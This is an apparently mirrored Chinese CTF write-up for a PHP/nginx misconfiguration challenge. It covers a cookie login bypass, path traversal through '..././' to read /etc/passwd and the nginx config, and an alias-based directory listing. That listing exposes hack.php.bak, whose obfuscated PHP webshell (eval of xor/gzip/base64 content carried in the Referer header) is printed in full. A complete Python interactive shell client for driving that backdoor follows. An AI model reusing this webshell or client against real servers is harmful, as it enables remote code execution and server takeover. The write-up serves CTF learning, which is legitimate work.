zoukankan      html  css  js  c++  java
  • web php wrong nginx config

    web php wrong nginx config

    题目描述

    解题过程

    信息收集

    • 环境
      • ubuntu
      • nginx/1.10.3
      • php
    • 御剑扫描
      • 发现robots.txt/admin/

    robots.txt

    里面放了两个文件名hint.phpHack.php

    依次访问

    hint.php

    内容为

    配置文件也许有问题呀:/etc/nginx/sites-enabled/site.conf

    Hack.php

    无法访问,要求登录,但是登录功能点无法使用,抓包,发现cookie字段isLogin=0

    在浏览器console里修改为isLogin=1,成功访问

    尝试了一遍,发现只有管理中心链接可以跳转

    /admin/admin.php

    应该是文件包含

    • 尝试file=../../../../etc/passwd&ext=,页面除了少了please continue之外没有变化
    • 尝试file=index./&ext=php,页面没有please continue
    • 尝试file=index../&ext=php,页面有please continue
    • 尝试file=index.../&ext=php,页面有please continue

    有两种情况,一种是过滤了./,另一种是过滤了../,但第一次尝试,读取不成功,返回的页面中没有please continue,所以应该是过滤了../

    • 再次尝试file=..././..././..././..././etc/passwd&ext=

    /etc/nginx/sites-enabled/site.conf

    • 访问file=..././..././..././..././etc/nginx/sites-enabled/site.conf&ext=

    • 得到内容

      server 
      { 
      listen 8080; 
      ## listen for ipv4; this line is default and implied listen [::]:8080; 
      ## listen for ipv6 root /var/www/html; 
      index index.php index.html index.htm; 
      port_in_redirect off; server_name _; 
      # Make site accessible from http://localhost/ 
      #server_name localhost; 
      # If block for setting the time for the logfile if ($time_iso8601 ~ "^(d{4})-(d{2})-(d{2})") { set $year $1; set $month $2; set $day $3; } 
      # Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html sendfile off; 
      set $http_x_forwarded_for_filt $http_x_forwarded_for; 
      if ($http_x_forwarded_for_filt ~ ([0-9]+.[0-9]+.[0-9]+.)[0-9]+) { set $http_x_forwarded_for_filt $1???; } 
      # Add stdout logging access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log; error_log /var/log/nginx/error.log info; 
      location / { 
      # First attempt to serve request as file, then 
      # as directory, then fall back to index.html try_files $uri $uri/ /index.php?q=$uri&$args; server_tokens off; } #error_page 404 /404.html; 
      # redirect server error pages to the static page /50x.html 
      # error_page 500 502 503 504 /50x.html; 
      location = /50x.html { 
      root /usr/share/nginx/html;
      } 
      
      location ~ .php
      $ { 
      try_files $uri $uri/ /index.php?q=$uri&$args;
      fastcgi_split_path_info ^(.+.php)(/.+)$; 
      fastcgi_pass unix:/var/run/php/php5.6-fpm.sock; 
      fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; 
      fastcgi_param SCRIPT_NAME $fastcgi_script_name; 
      fastcgi_index index.php; include fastcgi_params; 
      fastcgi_param REMOTE_ADDR $http_x_forwarded_for; 
      } 
      
      location ~ /. { 
      log_not_found off; 
      deny all; 
      } 
      
      location /web-img { 
      alias /images/; 
      autoindex on; 
      } 
      
      location ~* .(ini|docx|pcapng|doc)$ { deny all; } 
      
      include /var/www/nginx[.]conf; 
      }
      

      发现/web-img可以进行目录浏览,这里的url解析为/web-img,所以构造的路径需要直接添加在后,不需要再添加/

    /web-img

    • 访问/web-img,绝对路径为/web-img

    • 访问web-img../

    • 发现hack.php.bak文件

      解码后

      <?php
      $kh = "42f7";
      $kf = "e9ac";
      function x($t, $k) {
          $c = strlen($k);
          $l = strlen($t);
          $o = "";
          for ($i = 0;$i < $l;) {
              for ($j = 0;($j < $c && $i < $l);$j++, $i++) {
                  $o.= $t{$i} ^ $k{$j};
              }
          }
          return $o;
      }
      $r = $_SERVER;
      $rr = @$r["HTTP_REFERER"];
      $ra = @$r["HTTP_ACCEPT_LANGUAGE"];
      if ($rr && $ra) {
          $u = parse_url($rr);
          parse_str($u["query"], $q);
          $q = array_values($q);
          preg_match_all("/([w])[w-]+(?:;q=0.([d]))?,?/", $ra, $m);
          if ($q && $m) {
              @session_start();
              $s = & $_SESSION;
              $ss = "substr";
              $sl = "strtolower";
              $i = $m[1][0] . $m[1][1];
              $h = $sl($ss(md5($i . $kh), 0, 3));
              $f = $sl($ss(md5($i . $kf), 0, 3));
              $p = "";
              for ($z = 1;$z < count($m[1]);$z++) $p.= $q[$m[2][$z]];
              if (strpos($p, $h) === 0) {
                  $s[$i] = "";
                  $p = $ss($p, 3);
              }
              if (array_key_exists($i, $s)) {
                  $s[$i].= $p;
                  $e = strpos($s[$i], $f);
                  if ($e) {
                      $k = $kh . $kf;
                      ob_start();
                      @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));
                      $o = ob_get_contents();
                      ob_end_clean();
                      $d = base64_encode(x(gzcompress($o), $k));
                      print ("<$k>$d</$k>");
                      @session_destroy();
                  }
              }
          }
      }
      ?>
      

      大概是个加壳的webshell,但看不懂 = =,搜到一篇介绍,使用介绍里的exp(py2)

    exp

    = = = = = = = = = 介绍里的脚本(使用的时候需要把67、68行的密钥和70行的url改一下)

    # encoding: utf-8
    
    
    from random import randint, choice
    from hashlib import md5
    import urllib
    import string
    import zlib
    import base64
    import requests
    import re
    
    
    def choicePart(seq, amount):
        length = len(seq)
        if length == 0 or length < amount:
            print 'Error Input'
            return None
        result = []
        indexes = []
        count = 0
        while count < amount:
            i = randint(0, length - 1)
            if not i in indexes:
                indexes.append(i)
                result.append(seq[i])
                count += 1
                if count == amount:
                    return result
    
    
    def randBytesFlow(amount):
        result = ''
        for i in xrange(amount):
            result += chr(randint(0, 255))
        return result
    
    
    def randAlpha(amount):
        result = ''
        for i in xrange(amount):
            result += choice(string.ascii_letters)
        return result
    
    
    def loopXor(text, key):
        result = ''
        lenKey = len(key)
        lenTxt = len(text)
        iTxt = 0
        while iTxt < lenTxt:
            iKey = 0
            while iTxt < lenTxt and iKey < lenKey:
                result += chr(ord(key[iKey]) ^ ord(text[iTxt]))
                iTxt += 1
                iKey += 1
        return result
    
    
    def debugPrint(msg):
        if debugging:
            print msg
    
    
    # config
    debugging = False
    keyh = "42f7"  # $kh
    keyf = "e9ac"  # $kf
    xorKey = keyh + keyf
    url = 'http://220.249.52.133:43560/hack.php'
    defaultLang = 'zh-CN'
    languages = ['zh-TW;q=0.%d', 'zh-HK;q=0.%d', 'en-US;q=0.%d', 'en;q=0.%d']
    proxies = None  # {'http':'http://127.0.0.1:8080'} # proxy for debug
    
    sess = requests.Session()
    
    # generate random Accept-Language only once each session
    langTmp = choicePart(languages, 3)
    indexes = sorted(choicePart(range(1, 10), 3), reverse=True)
    
    acceptLang = [defaultLang]
    for i in xrange(3):
        acceptLang.append(langTmp[i] % (indexes[i],))
    acceptLangStr = ','.join(acceptLang)
    debugPrint(acceptLangStr)
    
    init2Char = acceptLang[0][0] + acceptLang[1][0]  # $i
    md5head = (md5(init2Char + keyh).hexdigest())[0:3]
    md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3, 8))
    debugPrint('$i is %s' % (init2Char))
    debugPrint('md5 head: %s' % (md5head,))
    debugPrint('md5 tail: %s' % (md5tail,))
    
    # Interactive php shell
    cmd = raw_input('phpshell > ')
    while cmd != '':
        # build junk data in referer
        query = []
        for i in xrange(max(indexes) + 1 + randint(0, 2)):
            key = randAlpha(randint(3, 6))
            value = base64.urlsafe_b64encode(randBytesFlow(randint(3, 12)))
            query.append((key, value))
        debugPrint('Before insert payload:')
        debugPrint(query)
        debugPrint(urllib.urlencode(query))
    
        # encode payload
        payload = zlib.compress(cmd)
        payload = loopXor(payload, xorKey)
        payload = base64.urlsafe_b64encode(payload)
        payload = md5head + payload
    
        # cut payload, replace into referer
        cutIndex = randint(2, len(payload) - 3)
        payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
        iPiece = 0
        for i in indexes:
            query[i] = (query[i][0], payloadPieces[iPiece])
            iPiece += 1
        referer = url + '?' + urllib.urlencode(query)
        debugPrint('After insert payload, referer is:')
        debugPrint(query)
        debugPrint(referer)
    
        # send request
        r = sess.get(url, headers={'Accept-Language': acceptLangStr, 'Referer': referer}, proxies=proxies)
        html = r.text
        debugPrint(html)
    
        # process response
        pattern = re.compile(r'<%s>(.*)</%s>' % (xorKey, xorKey))
        output = pattern.findall(html)
        if len(output) == 0:
            print 'Error,  no backdoor response'
            cmd = raw_input('phpshell > ')
            continue
        output = output[0]
        debugPrint(output)
        output = output.decode('base64')
        output = loopXor(output, xorKey)
        output = zlib.decompress(output)
        print output
        cmd = raw_input('phpshell > ')
    
    
  • 相关阅读:
    Laravel 初始化
    ant design pro 左上角 logo 修改
    请求到服务端后是怎么处理的
    Websocket 知识点
    王道数据结构 (7) KMP 算法
    王道数据结构 (6) 简单的模式匹配算法
    王道数据结构 (4) 单链表 删除节点
    王道数据结构 (3) 单链表 插入节点
    王道数据结构 (2) 单链表 尾插法
    王道数据结构 (1) 单链表 头插法
  • 原文地址:https://www.cnblogs.com/R3col/p/13390419.html
Copyright © 2011-2022 走看看